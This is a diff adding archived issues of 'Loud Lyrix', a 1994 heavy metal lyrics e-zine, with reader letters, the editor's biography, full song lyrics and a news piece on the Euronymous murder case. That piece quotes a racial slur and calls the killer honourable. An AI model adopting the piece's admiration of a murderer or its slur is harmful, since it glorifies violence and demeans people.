+killer "Stay Hungary" came out, I love that album man, I mean, there are +so many people around these dayz that are embarrassed to admit they useta +like TS, but I say fuck them, poseurs man, that's all they are... anyways, +I'm sorry, but I don't have any bootlegs of 'em at all, but if anyone else +out there in Loud Lyrix land can help Jason with this request, mail him at +the above address... Thanks -- Editor] + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************* T U R B O L O V E R *************************** + by J U D A S P R I E S T + Album: "Turbo" + + +You won't hear me, But you'll feel me +Without warning, something's dawning, listen. +Then within your senses, You'll know your defenseless +How your heart beats, when you run for cover +Your cant retreat I spy like no other. + +Then we race together. We can ride forever +Wrapped in horsepower, driving into fury +Changing gear I pull you tighter to me + +I'm your turbo lover. Tell me there's no other. +I'm your turbo lover. Better run for cover + +We hold each other closer, as we shift to overdrive +And everything goes rushing by, with every nerve alive +We move so fast it seems as though we've taken to the sky +Love machines in harmony, we hear the engines cry. + +On and on we're charging to the place so many seek +In perfect synchronicity of which so many speak +We feel so close to heaven in this roaring heavy load +and then in sheer abandonment, we shatter and explode. + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*********** U N D E R S E I G E ( R E G N U M I R A E ) ************* + by S E P U L T U R A + Album: "Arise" + + +The dual substance of Christ +The yearning so human +Of Man to attain God +Has always been a deep +Inscrutable mystery to me +My principle anguish and source +Of all my joys and sorrows + +Religious domain is all I see +Suffocate the scum with mediocrity +Lying and changing your fate +Anno domini ends -- misery + +>From my youth onward +Has been the incessant +Merciless battle between +The spirit and the flesh +And my soul is the arena +Where these two armies +Have clashed and met + +Holy wars unleashing bloody raids +The sacred earth without a face +Consumed by murderous sinners +Psychotic leader +Insane -- insane -- insane -- insane! + +Living in a dying age +Persecute the human race +Triumph of death in the wasteland +Blood signs your epitaph + +Religious domain is all I see +Suffocate the scum with mediocrity +Lying and changing your fate +Anno domini ends -- misery + +***************************** T H E E N D ******************************* +Typed by: Lyrics Archives at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Alright people, that's the end of the road for this week. Hope you guys +liked it... I gotta go now, the first Leaf game is coming on, it's Monday +right now, so later people, keep those lyrics comin'! + +C-ya + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- +End -- Loud Lyrix #9 + + diff --git a/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-10 b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-10 new file mode 100644 index 00000000..61529bdc --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX/loud.lyrix-10 @@ -0,0 +1,1535 @@ + + + __ _____ __ __ ____ + /\ \ /\ __`\/\ \/\ \/\ _`\ + \ \ \ \ \ \/\ \ \ \ \ \ \ \/\ \ + \ \ \ __\ \ \ \ \ \ \ \ \ \ \ \ \ + \ \ \L\ \\ \ \_\ \ \ \_\ \ \ \_\ \ + \ \____/ \ \_____\ \_____\ \____/ + \/___/ \/_____/\/_____/\/___/ + + __ __ ____ ______ __ __ + /\ \ /\ \ /\ \/\ _`\ /\__ _\/\ \ /\ \ + \ \ \ \ `\`\\/'/\ \ \L\ \/_/\ \/\ `\`\/'/' + \ \ \ __`\ `\ /' \ \ , / \ \ \ `\/ > < + \ \ \L\ \ `\ \ \ \ \ \\ \ \_\ \__ \/'/\`\ + \ \____/ \ \_\ \ \_\ \_\/\_____\/\_\\ \_\ + \/___/ \/_/ \/_/\/ /\/_____/\/_/ \/_/ + + + + Loud Lyrix, May 24, 1994, Issue # 10 + 10th Weekiversary MEGA ISSUE! + + +Addresses (Send mail here for subscriptions) +--------- +Internet: lyrix@terranet.cts.com +UUCP: generic!zoo.toronto.edu!terranet!lyrix +ARPA: generic!terranet!lyrix@zoo.toronto.edu + +Editor-in-Chief: Death Incarnate (Gino Filicetti) +Publisher: Death Incarnate (Gino Filicetti) +Distributor: Death Incarnate (Gino Filicetti) +Mailing Program: NONE! Everything is done by hand. + +Loud Lyrix is posted weekly to the following newsgroups: + +alt.music +alt.zines +rec.music.misc +rec.music.reviews +rec.mag +alt.music.misc + +(BTW. The Editor does not have Usenet access, so all mail from Usenet +people should be send to one of the above addresses or else I will not see +it. Thank You.) + +DISCLAIMER +---------- +Loud Lyrix is not responsible for accuracy of the lyrics, song titles, +album titles, or specific performers of the songs contained herein. All +songs are property of the bands that perform them and/or their record +labels. The lyrics contained herein cannot be used for any purpose other +than "private study, scholarship, or research." If anyone makes use of a +reprinted song for purposes in excess of "fair use," that user may be +liable for copyright infringement. Loud Lyrix is not responsible for any +misrepresentation of the performers of any songs or their respective +lyrics. We reserve the right to reprint inaccurate lyrics if the song's +lyrics were not readily available to the typist. And just remember that +this publication is for the sheer fun and pleasure of discovering the +lyrics of some songs, and we are not out to rip off any bands or put any +words in their mouths. + +DESCRIPTION +----------- +Loud Lyrix is a weekly publication dedicated to the spread of heavy metal +lyrics throughout the world. Subscriptions are available at no cost +electronically. Five to Ten songs are published every Tuesday. Along with +the lyrics, a section of the zine is devoted to reactions of subscribers to +previously posted songs. All subscribers are urged to send in lyrics from +their own favorite bands for publication. All requests, submissions or +comments must be sent to the above address. + +OUR PHILOSOPHY +-------------- +We here at Loud Lyrix believe that the true meaning of a song can only make +itself known through the song's lyrics. It is for this reason that Loud +Lyrix exists, we are committed to delivering all the best lyrics of heavy +metal songs to Cyber-bangers around the globe. Long live metal! + +>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>><<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< + +Loud Lyrix, #10, 5/24/94 --> 10th Weekiversary Mega Issue! +---------------------------------------------------------- + +ALRIGHT DUDES!!!! We're back! And stronger than ever!! I hope all you +dudes and dudettes out there like this MEGA-FUCKING-ISSUE. I found myself +with an abundance of free time on my hands this LONG Victoria Day weekend, +so I thought that I'd so something REALLY damn special for all you +headbangers out there. This issue is HUGE, over 1500 lines of news, +comments, lyrix of course! and a special surprise too! + +Well people, finally, after many weeks of searching, asking and then +downright begging for it. It looks like we are finally gonna be getting +the long awaited LISTSERV!!! ... it was fortunate that I came across +someone from Toronto in Cyberspace, and he said that his site has a +LISTSERV, and that the sysadmin would very likely be willing to take me on. +Well, I mailed the guy, and he thought the 'zine was really cool, and he +said "Sure! I'll give you a list", but the only thing is that he's moving +his system somewhere, and it'll be a little while 'til he's ready, but +don't worry guys! The day WILL come at long last!! + +I finally had time this week to search in my ULTIMATE Usenet list, for +some newsgroups to post too, and I found about 19 more newsgroups to post +to. I won't start posting on them this week since this issue is so HUMO!, +but I will start with issue #11... let's hope we don't get TO many +rejections. But it seems that my Usenet list ISN'T completely up to date, +so if you guys know of any other newsgroups that would be a good place to +post the 'zine too, PLEASE let me know... + +Whoa! I went to another party last nite (hehehe.... I bet you guys are ALL +ears now!)... it was amazing!!! Fucking wicked I'm telling you. It wasn't +ruined this time by anyone putting their head through a window, but +something's still got broken... holy shit, the beer was flying freely, we +got some of that new Red Dog beer, it's pretty shit, but fuck, I didn't +notice at all I was so pissed!... We had about 2:1 girls to guys there, and +I'm telling, things got a little outta hand (all the better for me! +hehehe)... I don't know if I can show my face in school on Tuesday.. it's +gonna be a little embarrassing, but OH WELL! Sorry if I'm offending any +women out there, but I just can't lie! (I'm an angel, really ;-] Anyways, +I'm still alive, and that's what really counts now doesn't it! Lucky some +people were still sober there, or things would have REALLY gotten crazy +pretty fast.... + +Alright people, enjoy this week's MEGA ISSUE. I've jammed packed this +fucker with 20 songs, plus a couple more goodies, I'm sure you guy's'll +enjoy it... the last four songs are reader submissions, and the rest are +"Editor's Choice".... I wanna say thanks to Hellcrusher for putting +together the story on Burzum's "The Count", good job! Oh yeah, one last +thing, if some of your mail handler's out there couldn't process this mail +'cause it was too long, just give me a yell, and I'll chop up this file +into as many bloody chunks as you want! + +CONTENTS +-------- +Reader's Comments +Death Incarnate Biography +Update from Norway +Song 1: "Behind These Walls" ("The Eye", Chapter 7) by King Diamond +Song 2: "The Meetings" ("The Eye", Chapter 8) by King Diamond +Song 3: "Eat Me Alive" by Judas Priest +Song 4: "Children of the Grave" by Black Sabbath +Song 5: "Milk" by Anthrax +Song 6: "Seasons in the Abyss" by Slayer +Song 7: "What You're Doing" by Rush +Song 8: "She" by Kiss +Song 9: "Victim of Changes" by Judas Priest +Song 10: "The Number of the Beast" by Iron Maiden +Song 11: "Crazy Train" by Ozzy Osbourne +Song 12: "I Am The Law" by Anthrax +Song 13: "Suicidal Failure" by Suicidal Tendencies +Song 14: "Spirit in Black" by Slayer +Song 15: "NIB" by Black Sabbath +Song 16: "Keep It In the Family" by Anthrax +Song 17: "How the Gods Kill" by Danzig +Song 18: "Left Hand Path" by Entombed +Song 19: "Heavy Metal Song" by Molibdenus +Song 20: "A Lost Forgotten Sad Spirit" by Burzum +Loud Lyrix Back Issue Index + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************** R E A D E R ' S C O M M E N T S ******************** + Compiled by Gino Filicetti + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Date: Mon, 16 May 94 11:27:09 TZ +To: Gino Filicetti +From: johnbrea@microsoft.com +Subject: Loud Lyrix #1-#6 + +FINALLY got round to read LL from #1 onwards last night. +Definitely some good stuff here. + +Loud Lyrix #2 +------------- +I haven't bought Master of Puppets yet - its on the cards, my birthday's on +the 1st of June. MoP is about coke, yeah? There's only 1 line to give it +away about breakfast on a mirror so is that a good guess? + +[You got it John! Master of Puppets is about drug pushers, and their +addicts -- Editor] + +New addition to the lyrix - date of release. +Loved TIME - sounds just like me. + +Loud Lyrix #3 +------------- +Wow - X-Ray Spex! That brings back memories of mid-teens and the punk +movement which I really missed the boat with. Too young to really get +involved but then few people REALLY did. Most punks were weekenders anyway. + +Loved Cemetary Gates. + +They play Sepultura a lot on the Rock Show (a programme of a few hours a +week on national radio 1). Definitely a band to support, especially if it +helps get their message across. + +Loud Lyrix #4 +------------- +I love the changing logos. + +Oh, you're Canadian - at last info on the man himself is creeping out. + +[Am I really that much of a mystery to all you guys? Well, if that's +really the case, I've decided to include a little bio on myself in this +Mega Issue! Not that I'm an ego-maniac or anything :) -- Editor] + +Toronto, isn't that where "The New Music" TV program hails from? Used to write +to a guy in Toronto who did C&W music but he got too busy and I lost touch +with him. + +Do you have all the Nirvana lyrics on file? The LP I have didn't come with +them and I can't make out all the words. It was embarrassing at Reading +Rock 1992 not being able to sing along with the 1000s of other people who +somehow DID know all the lyrics. + +Fade to black - great lyric. What are these guys on?!? + +Loud Lyrix #5 +------------- +Wristbands to queue for tickets? Interesting idea to beat credit card +phone-ins, eh? + +I used to walk to work (before I got my bike) listening to Metallica on my +personal stereo and reading Cthulhu mythos paperbacks. Let me tell you on +dark winter evenings this is a spooky combination. + +Institutionalized - good read, good lyric; thought-provoking. + +Loud Lyrix #6 +------------- +I'll be 30 next month and I'm buying a house this week. God, I hate getting +old. + +Non-lyric stuff - I'll trawl the Microsoft-internal boards for anything +useful. I think I'm getting immune to songs about ecology or human rights +or whatever. I just think, hey, people are LIKE that; there'll always be +idiots and bastards who make a mess of things for everybody. + +Enjoyed "I have seen the future" - sounds true! + +More to follow! + +[I definitely hope so! You guys have really been lazy about commenting on +some songs... come on guys! Do I have to pester you forever! -- Editor] + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +********** B I O G R A P H Y : D E A T H I N C A R N A T E ************ + aka Gino Filicetti + + +Well, it seemed to me that'd it'd be a good idea if I would write a little +about myself, that way, you guys out there wouldn't be wondering what +kind of person I'm really like... but, some of you probably won't want to +know anything about my awesome life, so just skip this section and check +out the rest of our 10th Weekiversary Mega Loud Lyrix! + +It was a cold stormy day on that memorable Jan 6th in 1977 that the +Editor of Loud Lyrix was born. The exact place was York-Finch Hospital in +Toronto, Ontario, Canada. To my mother was begotten a brown haired, brown +eyed bundle of love! :) hehehe... Anyways, my parents are Italian, born in +Italy, my father from Calabria, my mother from Molize, they came to Canada +in their early twenties, and got married in 1968. Currently my father is 58 +and my mother is 47. I myself am an energetic 17 years old! Well, my +childhood was as normal as anyone's, I had good parents, and a good home +and I regret nothing. As I remember it, my first exposure to God's +wonderful gift to the earth, Heavy Metal, was when I was about 3 years old, +it was my old cousin, who was a teen back then. He used to blast Kiss all +day long, and his room was plastered with all kinds of posters, so that not +a speck of the wall was visible. So Kiss is like the first band that I ever +liked. And my story with Kiss doesn't end there, my brother, Sergio, 21, is +also a Kiss freak. I know almost all the words to every Kiss song ever +made, and not cause I listened to 'em, but because my brother always did. +Well, the first album that was mine, and only mine was 1984 by Van Halen, I +was 6 at the time, and I was crazy for those dudes. Then I remember getting +Twisted Sister's "Stay Hungary", a totally righteous album for sure.. +anyways, after that, I wasn't really INTO Heavy Metal with all my heart and +soul like now, I was sort of a drifter, a mixer what ever you wanna call +it. It wasn't until Grade 8 that I dropped every other form of mediocre +musik, and dedicated myself to the one true and great genre in the world. +HEAVY METAL!! At this time, I was listening to sort of soft bands as +compared to what I listen to now. Bands like AC/DC, Van Halen, Rush, Led +Zeppelin. As time went on, I started getting heavier and heavier in my +musical tastes, I started listening to the likes of Metallica, Ozzy, +Sabbath. And I just keeped going.. to where I am now, my main interest is +in Thrash Metal, I like it the best, but I do listen to my share of Death +Metal (especially Sepultura), Classic Metal, SOME Grunge, the heavier side, +but not to much of that, I REALLY detest the whole Seattle scene bullshit +that has emerged in the last couple of years... most of these fuckers are +nothing more than cash grabs, and poseurs... I like bands like Soundgarden +and Alice in Chains mostly... here is my list of favorite bands: + +1. Black Sabbath (no one can put down the fathers of metal) +2. Slayer (absolutely the best band around today, true non poseurs) +3. Metallica +4. Sepultura +5. Judas Priest +6. White Zombie +7. Anthrax +8. Pantera +9. King Diamond +10. Megadeth + +Now for some non music stuff, hmmm.. let's see, I love sports, I guess you +could say I'm pretty athletic, although I'm not on any sports teams, +that's only 'cause our skule is pure cheese in the sports dept. My +favorite sport is HOCKEY OF COURSE! The Maple Leafs are gonna take the cup +this year for sure!! What a party, can't wait to go down to Yonge St.!! I +pump weights too, it's the best thing you can do to keep in shape, hands +down... I've been doing 'em Mon, Wed, Fri every week since Oct 11, and I +gotta admit, it's the best, really does work. My favorite movie is +Goodfellas, heehe.. gotta love those mob movies, umm... oh yeah, of course, +I'm totally into computers.. I program in QuickBASIC, I've been +Internetting for the past 3 months (and I already have a 'zine, weird!), +the Internet rulez... nothing like it.... and well, that's about it!! +Pretty long, but if you've read this far, I hope you ain't disappointed, I +tried my best.... + +Later everyone! + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +****************** U P D A T E F R O M N O R W A Y ******************** + "The Count" gets his sentence! + + +N e w s : O.K. here's some stuff about the murder on Euronymous. During the +summer of 1993, the relationship between the "Count" and Euronymous had +cooled down a lot. I think Euronymous was pretty tired of that Grischnack +were acting like a clown in media. In Norway Grischnack had been a big joke +until he killed Euronymous. + +The "Count" on the other hand didn't like Euronymous' communist thoughts. In +an interview the "Count" has said that "Euronymous joined the communists +to be evil, and get more niggers into Norway". The "Count" really disliked +this opinion among several more. In interviews around, the "Count" +distanced himself from Euronymous. Other things are that Euronymous +threatened to refuse to give out some Burzum records on his record company. + +One of the accused in the case characterizes Euronymous' attitude to the +"Count" as "aggressive, critical and negative". When this man told the +"Count" about Euronymous' attitude, the "Count" bursted out: "Euronymous +must go. He stands in the way of my economical prospects!" + +Later that night the "Count" spoke a lot about killing Euronymous. With a +second fellow they discussed several ways to kill him. One suggestion were +to chop his head off with an axe when he opened the door(!). The first +fellow meant that it would look silly to carry an axe in the neighborhood. +An other alternative was to make Euronymous show something on his PC, and +then stab him in his back with a knife. + +On Monday, August the 9th, the three men hired three videofilms which +they'd all seen before. If the cops later would ask about the films, they +would have an alibi. The second fellow were left behind in Bergen. The +meaning was that he should use the "Count's" credit card while he was gone. +This would make another alibi. The thing was that this fellow took the +wrong card. He took a telephone card instead... + +The "Count" meant that it would look suspicious if two Black Metal +Satanists should drive from Oslo right after a Satanist-leader was +killed(The distance between Oslo and Bergen is about 60 Norwegian miles, or +a 7 hour long trip). The first fellow lent a white sweater to the second +one, to look less satanic. The first fellow were alledgedly ordered to be +the driver. During long parts of the trip, the "Count" was lying in the +backseat. In fact, when they came to a smalltown and wanted to fill some +gas, he was also in the trunk. When they entered Euronymous' apartment, +only the "Count" went inside. Later, when his fellow came inside, he heard +a lot of screaming. According to the "Count", this provoked him as Hell, +when Euronymous was screaming. Later he said that it was less honorable +for a Black Metal leader to die in his underwear. + +Well I could probably write down a lot more here, but it is difficult, +since none of the witnesses says the same thing. + +Anyway the result is that the "Count" gets 21 years, the longest sentence +anyone can get in Norway. But he can appeal, and I can't see why not. His +idiotic lawyer tried to label him as "insane", so that he could get less +years in prison. I would rather spend 21 years in prison, than be labeled +as insane the rest of my life! + +His (ex)fellow, which drove the car to Oslo, got 8 years. This is more than +they had hoped for. The "Count's" face bursted out in a big smile when he +heard the sentence. + +Though I don't agree with the "Count" in everything, I think that he has +more honour left than anyone else in this case. The ex-fellow's lawyer were +moaning about that he was allergic and depressed and was easily influenced +by the "Count". I think THAT is weak! + +Story by: Hellcrusher (Bjarne Henning Kvaale) + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Chapter 7, "The Eye", by King Diamond + +******************* B E H I N D T H E S E W A L L S ****************** + + +Walking in the garden, picking flowers in the sun +Madeleine is on her own +She can't see any of the other nuns +Is she blind or is it her mind +What's going on? What's going on behind these walls... + +All the birds are singing, but Madeleine can't hear their song +Memories of screams in the night +Moaning coming from below where the prison cells are cold +She does not understand what's going on + +Now the bell is ringing, communion time has come again +Is Father Picard really a friend? +The bible in her hand reminds her of the wine +The sour tasting blood of Christ +What's going on? What's going on behind these walls... + +What's going on? Behind these walls... + +********************** T O B E C O N T I N U E D ********************* +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +Chapter 8, "The Eye", by King Diamond + +************************ T H E M E E T I N G S ************************** + + +The night is black +7 figures walk the streets of Louviers +Picard is one, another two are priests +And then the nuns, going to + +The meetings held in secrecy +Evil company full of secrecy, again and again + +The room is dark +Candles on the wall, they've been here before +The Christian cross is hanging high above +The altar of God + +Madeleine is at the gate +Hazy feeling in her brain +As the strangers come in to + +The meetings held in secrecy +Evil company full of secrecy, again and again + +The strangers brought +The sweetest little child, but something's wrong +The baby cries, someone here will die +And now the nuns pray + +The meetings held in secrecy +Evil company full of secrecy, again and again + +Madeleine and the other nuns +They hold the infant up to the cross +As father Picard and the priests +Approach with hammers and nails +There's no more to tell + +********************* T O B E C O N T I N U E D *********************** +Typed by: Death Incarnate + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +[This is a wicked song! I remember reading soooo much shit on this song by +those fucking Evangelist assholes about how evil and runchy it is... +here's an excerpt: +"Rock music has changed. The consensual fornication of a generation ago has +been replaced by forcing oral sex at gunpoint ("Eat Me Alive" by Judas +Priest), masterbation ("I F... Like a Beast" by W.A.S.P., ie We are Sexual +Perverts), and rebellion ("We're Not Gonna Take It" by Twisted Sister". +Hehehehe... fucking funny eh? .. ah well, these losers are sooo lost it's +not funny, they know nothing about being a real Christian -- Editor] + +************************* E A T M E A L I V E ************************* + by J U D A S P R I E S T + Album: "Defenders of the Faith" + + +Wrapped tight around me +Like a second flesh hot skin +Cling to my body +As the ecstasy begins + +Your wild vibrations +Got me shooting from the hip +Crazed and insatiable let rip + +Eat me alive + +Sounds like an animal +Panting to the beat +Groan in the pleasure zone +Gasping from the heat + +Gut-wrenching frenzy +That deranges every joint +I'm gonna force you at gun point + +To eat me alive + +Bound to deliver as +You give and I collect +Squealing impassioned as +The rod of steel injects + +Lunge to the maximum +Spread-eagled to the wall +You're well equipped to take it all + +So eat me alive + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +*************** C H I L D R E N O F T H E G R A V E ***************** + by B L A C K S A B B A T H + Album: "Master of Reality" + + +Revolution in their minds - the children start to march +Against the world in which they have to live +and all the hate that's in their hearts +They're tired of being pushed around +and told just what to do +They'll fight the world until they've won +and love comes flowing through + +Children of tomorrow live in the tears that fall today +Will the sun rise up tomorrow bringing peace in any way? +Must the world live in the shadow of atomic fear? +Can they win the fight for peace or will they disappear? + +So you children of the world, + listen to what I say +If you want a better place to live in + spread the words today +Show the world that love is still alive + you must be brave +Or you children of today are + Children of the Grave, Yeah! + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +***************** M I L K ( O D E T O B I L L Y ) ******************* + by A N T H R A X + Album: "Attack of the Killer B's" + + +I woke up, can't wait to eat +Got my cereal, boy was I beat +Opened the fridge, and to my dismay +There was no milk, my mother will pay + +Chorus +I want some milk] +My coffee grows cold +I want some milk] +I should've been told + +I wish I had some goddamn milk +My Cheerios just ain't the same +I wish I had some goddamn milk +Too bad the milkman never came + +I can't go, out to the store +I'll just wait 'till Mommy buys more +I'll just have, wheat thins and beer +If I get sick the toilet is near + +Chorus (twice) + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +**************** S E A S O N S I N T H E A B Y S S ****************** + by S L A Y E R + Album: "Seasons in the Abyss" + + +Razors edge +Outlines the dead +Incisions in my head +Anticipation the stimulation +To kill the exhilaration + +(Chorus:) +(part 1) +Close your eyes +Look deep in your soul +Step outside yourself +And let your mind go +Frozen eyes stare deep in your mind as you die + +(part 2) +Close your eyes +And forget your name +Step outside yourself +And let your thoughts drain +As you go insane... (go) insane + +(this verse has changed place with verse 3) +Inert flesh +A bloody tomb +A decorated splatter brightens the room +An execution a sadist ritual +Mad intervals of mind residuals + +Close your eyes +Look deep in your soul +Step outside yourself +And let your mind go +Frozen eyes stare deep in your mind as you die + +Close your eyes... and forget your name +Step outside yourself... and let your thoughts drain +As you go insane... (go) insane + +(this verse has changed place with verse 2) +Innate seed +To watch you bleed +A demanding physical need +Desecrated, eviscerated +Times prostrated (sings "perpetuated") + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************* W H A T Y O U ' R E D O I N G ********************* + by R U S H + Album: "Rush" + + +Well, I see you standin' there +with your finger in the air. +Ev'rything we do, +you wanna leave it up to you. + +Who do you think you are? +You think you are a star, +try'n' to run the town, +always try'n' to put us down. + +Well, you think that you're right. +You think you're out of sight. +Tell me something, mister; +why'd you have to make us so uptight? + +Well, you say you've been try'n'. +You know that you're ly'n'. +I think you need some groovin'. +Who do you think you're foolin' now? + +Well, you better start changin'. +You life needs rearrangin'. +You better do some talkin' +or you better do some walkin' now. + +Yeah, you think that you're right. +You think you're out of sight. +Tell me something, mister; +why'd you have to make us so uptight? + +I know what you're doing, +all that you been doin' wrong. +I don't know what you're feelin', +oh, but you been feelin' long. + +Well, you think that you're right. +Tell me something, mister; +Why'd you have to make us so uptight? + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************************** S H E ********************************** + by K I S S + Album: "Dressed To Kill" + + +She walks by moonlight +No one really knows +Enchanted starlight +Never goin' home + +I know she's goin' down, goin' +Everybody knows she's so good + +Doin' well for others +She doesn't really know +The powers are within her +As she takes off her clothes + +I know she's goin' down, goin' +Everybody knows she's so good + +Doin' well for others +She doesn't really know +The powers are within her +As she takes off her clothes + +I know she's goin' down, goin' +Everybody knows she's so good + +****************************** T H E E N D ******************************* +Typed by: KISSARMY Members + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +******************* V I C T I M O F C H A N G E S ********************* + by J U D A S P R I E S T + Album: "Sin After Sin" ???? + + +Whiskey woman +Don't you know that you +Are drivin' me insane +The liquor you give +Stems your will to live +And gets right to my brain + +You're tryin' to find your way thro' life +You're tryin' to get some new direction +Another woman got her man +But she won't find no new connection +Takes another drink or two +Things look better when she's thro' + +Takes another look around +You're not goin' anywhere +You've realized you're gettin' old +And no one seems to care + +You're tryin' to find your way again +You're tryin' to find some new +Another woman got her man +But she won't find no new +Takes another drink or two +Things look better when she's thro'. + +You've been foolin' with some hot guy +I want to know why is it why +Get up get out you know you really blew it +I've had enough I've had enough +Good God pluck me + +Once she was wonderful +Once she was fine +Once she was beautiful +Once she was mine + +Now change has come over her body +She doesn't see me anymore +Change has come over her body +She doesn't see me anymore + +Changes +Changes +Victim of changes + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************* T H E N U M B E R O F T H E B E A S T *************** + by I R O N M A I D E N + Album: "The Number of the Beast" + + +"Woe to you, Oh Earth and Sea, for the Devil sends the beast +with wrath, because he knows the time is short... +Let him who hath understanding reckon the number of the beast +for it is a human number, its number is Six hundred and sixty +six." -- Revelations 13:18 + +I left alone my mind was blank +I needed time to get the memories from my mind + +What did I see can I believe that what I saw +that night was real and not just fantasy + +Just what I saw in my old dreams were they +reflections of my warped mind staring back at me + +Cos in my dreams it's always there the evil face that twists my mind +and brings me to despair + +The night was black was no use holding back +Cos I just had to see was someone watching me +In the mist dark figures move and twist +was all this for real or some kind of hell +666 the Number of the Beast +Hell and fire was spawned to be released + +Torches blazed and sacred chants were praised +as they start to cry hands held to the sky +In the night the fires burning bright +the ritual has begun Satan's work is done +666 the Number of the Beast +Sacrifice is going on tonight + +This can't go on I must inform the law +Can this still be real or some crazy dream +but I feel drawn towards the evil chanting hordes +they seem to mesmerize me...can't avoid their eyes +666 the Number of the Beast +666 the one for you and me + +I'm coming back I will return +And I'll possess your body and I'll make you burn +I have the fire I have the force +I have the power to make my evil take its course + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************* C R A Z Y T R A I N *************************** + by O Z Z Y O S B O U R N E + Album: "Blizzard of Ozz" + + +Crazy, but that's how it goes +Millions of people living as foes +Maybe it's not too late +To learn how to love +And forget how to hate +Mental wounds not healing +Life's a bitter shame +I'm going off the rails on a crazy train +I've listened to preachers +I've listened to fools +I've watched all the dropouts +Who make their own rules +One person conditioned to rule and control +The media sells it and you live the role +Mental wounds still screaming +Driving me insane +I'm going off the rails on a crazy train +I know that things are going wrong for me +You gotta listen to my words +Yeh-h +Heirs of a cold war +That's what we've become +Inheriting troubles I'm mentally numb +Crazy, I just cannot bear +I'm living with something that just isn't fair +Mental wounds not healing +Who and what's to blame +I'm going off the rails on a crazy train + +**************************** T H E E N D ******************************** +Typed by: Lyrics Archive at ftp.uwp.edu + +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- + +************************ I A M T H E L A W ************************** + by A N T H R A X + Album: "Amoung The Living" + + +Fifteen years in the academy, +He was like no cadet they'd ever seen. +A man so hard, his veins bleed ice, +And when he speaks he never says if twice. +They call him Judge, his last name is Dredd, +So break the law, and you wind up dead. +Truth and justice are what he's fighting for, +Judge Dredd the man, he is the law. + +With gun and bike he rules the streets, +And every perp he meets will taste defeat. +Not even Death can overcome his might, +Cause Dredd and Anderson, they won the fight. +When the Sov's started the Apocalypse war, +Mega-City was bombed to the floor. +Dredd resisted, and the judges fought back, +Crushed the Sov's with their counter-attack. + +*Pre-Chorus*: + Respect the badge - he earned it with his blood. + Fear the gun - your sentence may be death because... +*Chorus*: + I AM THE LAW! + And you won't fuck around no more - I AM THE LAW! + I judge the rich, I judge the poor - I AM THE LAW! + Commit a crime I'll lock the door - I AM THE LAW! + Because in Mega-City... I AM THE LAW! + +In the cursed earth where mutants dwell, +There is no law, just a living hell. +Anarchy and chaos as the blood runs red, +But this would change if it was up to Dredd. 